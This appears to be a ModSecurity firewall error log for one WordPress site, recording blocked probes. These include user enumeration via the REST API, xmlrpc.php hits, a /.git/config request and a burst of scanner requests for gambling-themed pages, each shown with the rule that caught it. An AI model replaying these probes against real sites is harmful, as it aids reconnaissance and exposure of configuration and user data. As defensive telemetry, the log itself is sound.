[Tue May 12 11:37:09.730595 2026] [:error] [pid 42143:tid 42153] [client 103.251.208.39:57417] [client 103.251.208.39] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agKgZUS2WmK92iCO2L2lJwAAAUY"]
[Tue May 12 11:37:17.249688 2026] [:error] [pid 42143:tid 42167] [client 103.251.208.39:57417] [client 103.251.208.39] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agKgbUS2WmK92iCO2L2lNAAAAVQ"]
[Tue May 12 12:09:19.981355 2026] [:error] [pid 40061:tid 40076] [client 46.62.254.35:38292] [client 46.62.254.35] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agKn77ycIKt8hxHMBYvAKgAAAM0"]
[Tue May 12 12:09:38.770715 2026] [:error] [pid 39956:tid 39979] [client 77.65.47.245:51306] [client 77.65.47.245] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agKoAo2K3wZDsNji3MzmsQAAAA4"]
[Tue May 12 14:22:31.925524 2026] [:error] [pid 21242:tid 21259] [client 49.36.209.149:55401] [client 49.36.209.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.209.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agLHJ8zeh8JWZob6PnKdeQAAAY0"]
[Tue May 12 14:22:42.475821 2026] [:error] [pid 42143:tid 42157] [client 49.36.209.149:55708] [client 49.36.209.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.209.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agLHMkS2WmK92iCO2L3ZjwAAAUo"]
[Tue May 12 14:22:53.165531 2026] [:error] [pid 42143:tid 42170] [client 49.36.209.149:55874] [client 49.36.209.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.209.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agLHPUS2WmK92iCO2L3ZlwAAAVc"]
[Tue May 12 14:23:03.830545 2026] [:error] [pid 55559:tid 55634] [client 49.36.209.149:55844] [client 49.36.209.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.209.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agLHR9j0hVMLJAOI_fyVQAAAAQ8"]
[Tue May 12 14:23:14.469395 2026] [:error] [pid 21242:tid 21262] [client 49.36.209.149:55928] [client 49.36.209.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.209.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agLHUszeh8JWZob6PnKdowAAAZA"]
[Tue May 12 14:55:47.113600 2026] [:error] [pid 39958:tid 40041] [client 43.133.60.72:44830] [client 43.133.60.72] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agLO8-VI9FVDxXB2XxhlEAAAAJY"]
[Tue May 12 18:03:59.831083 2026] [:error] [pid 42143:tid 42163] [client 43.153.204.189:59810] [client 43.153.204.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agL7D0S2WmK92iCO2L0C0gAAAVA"]
[Tue May 12 18:10:55.287829 2026] [:error] [pid 39957:tid 40004] [client 106.54.62.156:51308] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agL8r-AfHHyq0DBh5BJqggAAAEw"]
[Tue May 12 18:41:24.098989 2026] [:error] [pid 42143:tid 42147] [client 154.183.242.148:60116] [client 154.183.242.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.183.242.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agMD1ES2WmK92iCO2L0IbQAAAUA"]
[Tue May 12 18:43:08.068527 2026] [:error] [pid 21242:tid 21264] [client 154.183.242.148:59899] [client 154.183.242.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.183.242.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agMEPMzeh8JWZob6PnLfhQAAAZI"]
[Tue May 12 18:45:19.201165 2026] [:error] [pid 21242:tid 21264] [client 154.183.242.148:60621] [client 154.183.242.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.183.242.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agMEv8zeh8JWZob6PnLgfAAAAZI"]
[Tue May 12 18:46:27.783127 2026] [:error] [pid 21242:tid 21257] [client 154.183.242.148:59827] [client 154.183.242.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.183.242.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agMFA8zeh8JWZob6PnLg3gAAAYs"]
[Tue May 12 18:47:18.921253 2026] [:error] [pid 55559:tid 55636] [client 154.183.242.148:60507] [client 154.183.242.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.183.242.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agMFNtj0hVMLJAOI_fyr3gAAARA"]
[Tue May 12 18:51:28.144695 2026] [:error] [pid 40061:tid 40072] [client 43.152.72.244:57866] [client 43.152.72.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agMGMLycIKt8hxHMBYvyKQAAAMk"]
[Tue May 12 19:57:02.281970 2026] [:error] [pid 42143:tid 42168] [client 193.146.122.106:54980] [client 193.146.122.106] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agMVjkS2WmK92iCO2L0ZpwAAAVU"]
[Tue May 12 22:01:53.186134 2026] [:error] [pid 39958:tid 40023] [client 34.91.71.176:43488] [client 34.91.71.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "agMy0eVI9FVDxXB2XxiHUwAAAIQ"]
[Wed May 13 00:03:37.031250 2026] [:error] [pid 21242:tid 21262] [client 31.191.109.216:57288] [client 31.191.109.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.191.109.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agNPWczeh8JWZob6PnIxGwAAAZA"]
[Wed May 13 00:30:14.007612 2026] [:error] [pid 55559:tid 55637] [client 65.108.125.120:36598] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "agNVltj0hVMLJAOI_fzM2wAAARE"]
[Wed May 13 00:30:37.297251 2026] [:error] [pid 42143:tid 42166] [client 65.108.125.120:41450] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2xl%20slot.aspx"] [unique_id "agNVrUS2WmK92iCO2L1F8AAAAVM"]
[Wed May 13 00:30:39.221906 2026] [:error] [pid 39956:tid 39967] [client 65.108.125.120:48436] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/789%20slot.aspx"] [unique_id "agNVr42K3wZDsNji3MwdDAAAAAI"]
[Wed May 13 00:30:41.323597 2026] [:error] [pid 40061:tid 40066] [client 65.108.125.120:48446] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "agNVsbycIKt8hxHMBYsZaAAAAMM"]
[Wed May 13 00:30:43.315024 2026] [:error] [pid 39956:tid 39977] [client 65.108.125.120:48450] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "agNVs42K3wZDsNji3MwdDgAAAAw"]
[Wed May 13 00:30:45.230555 2026] [:error] [pid 39956:tid 39970] [client 65.108.125.120:48464] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "agNVtY2K3wZDsNji3MwdEgAAAAU"]
[Wed May 13 00:30:47.227929 2026] [:error] [pid 21242:tid 21251] [client 65.108.125.120:48468] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "agNVt8zeh8JWZob6PnI3EgAAAYU"]
[Wed May 13 00:30:49.326903 2026] [:error] [pid 55559:tid 55645] [client 65.108.125.120:41166] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "agNVudj0hVMLJAOI_fzM5QAAARg"]
[Wed May 13 00:30:51.309873 2026] [:error] [pid 21242:tid 21246] [client 65.108.125.120:41176] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "agNVu8zeh8JWZob6PnI3FQAAAYA"]
[Wed May 13 00:30:53.416037 2026] [:error] [pid 21242:tid 21268] [client 65.108.125.120:41188] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "agNVvczeh8JWZob6PnI3GAAAAZY"]
[Wed May 13 00:30:55.519069 2026] [:error] [pid 42143:tid 42164] [client 65.108.125.120:41204] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "agNVv0S2WmK92iCO2L1F9wAAAVE"]
[Wed May 13 00:30:57.420390 2026] [:error] [pid 39957:tid 40008] [client 65.108.125.120:41214] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "agNVweAfHHyq0DBh5BKgaQAAAFA"]
[Wed May 13 00:30:59.492793 2026] [:error] [pid 55559:tid 55625] [client 65.108.125.120:13368] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "agNVw9j0hVMLJAOI_fzM6gAAAQc"]
[Wed May 13 00:31:01.370242 2026] [:error] [pid 39958:tid 40037] [client 65.108.125.120:13382] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "agNVxeVI9FVDxXB2XxiRFgAAAJI"]
[Wed May 13 00:31:03.439126 2026] [:error] [pid 42143:tid 42169] [client 65.108.125.120:13398] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "agNVx0S2WmK92iCO2L1GAAAAAVY"]
[Wed May 13 00:31:05.305823 2026] [:error] [pid 39956:tid 39970] [client 65.108.125.120:13412] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "agNVyY2K3wZDsNji3MwdGQAAAAU"]
[Wed May 13 00:31:07.217855 2026] [:error] [pid 21242:tid 21247] [client 65.108.125.120:13422] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "agNVy8zeh8JWZob6PnI3HQAAAYE"]
[Wed May 13 00:31:09.276907 2026] [:error] [pid 42143:tid 42148] [client 65.108.125.120:42528] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "agNVzUS2WmK92iCO2L1GCwAAAUE"]
[Wed May 13 00:31:11.200862 2026] [:error] [pid 55559:tid 55637] [client 65.108.125.120:42534] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "agNVz9j0hVMLJAOI_fzM9QAAARE"]
[Wed May 13 00:31:13.109782 2026] [:error] [pid 55559:tid 55623] [client 65.108.125.120:42538] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "agNV0dj0hVMLJAOI_fzM-AAAAQU"]
[Wed May 13 00:31:15.169584 2026] [:error] [pid 55559:tid 55634] [client 65.108.125.120:42546] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "agNV09j0hVMLJAOI_fzM-wAAAQ8"]
[Wed May 13 00:31:17.282708 2026] [:error] [pid 39957:tid 40000] [client 65.108.125.120:42558] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "agNV1eAfHHyq0DBh5BKgjQAAAEg"]
[Wed May 13 00:31:19.319900 2026] [:error] [pid 21242:tid 21250] [client 65.108.125.120:52624] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "agNV18zeh8JWZob6PnI3JgAAAYQ"]
[Wed May 13 00:31:21.213662 2026] [:error] [pid 21242:tid 21269] [client 65.108.125.120:52626] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "agNV2czeh8JWZob6PnI3KAAAAZc"]
[Wed May 13 00:31:23.337435 2026] [:error] [pid 21242:tid 21247] [client 65.108.125.120:52640] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "agNV28zeh8JWZob6PnI3LAAAAYE"]
[Wed May 13 00:31:25.194102 2026] [:error] [pid 42143:tid 42165] [client 65.108.125.120:52656] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "agNV3US2WmK92iCO2L1GEwAAAVI"]
[Wed May 13 00:31:27.245135 2026] [:error] [pid 42143:tid 42148] [client 65.108.125.120:52672] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "agNV30S2WmK92iCO2L1GFwAAAUE"]
[Wed May 13 00:31:29.327849 2026] [:error] [pid 42143:tid 42159] [client 65.108.125.120:32530] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agNV4US2WmK92iCO2L1GGAAAAUw"]
[Wed May 13 00:31:31.253040 2026] [:error] [pid 42143:tid 42149] [client 65.108.125.120:32544] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agNV40S2WmK92iCO2L1GHAAAAUI"]
[Wed May 13 00:32:11.104292 2026] [:error] [pid 39956:tid 39983] [client 65.108.125.120:9492] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "agNWC42K3wZDsNji3MwdJQAAABI"]
[Wed May 13 00:32:13.032893 2026] [:error] [pid 42143:tid 42163] [client 65.108.125.120:9494] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "agNWDUS2WmK92iCO2L1GOwAAAVA"]
[Wed May 13 00:32:14.979491 2026] [:error] [pid 40061:tid 40087] [client 65.108.125.120:9506] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "agNWDrycIKt8hxHMBYsZeQAAANg"]
[Wed May 13 00:32:17.018334 2026] [:error] [pid 42143:tid 42162] [client 65.108.125.120:9520] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "agNWEUS2WmK92iCO2L1GPgAAAU8"]
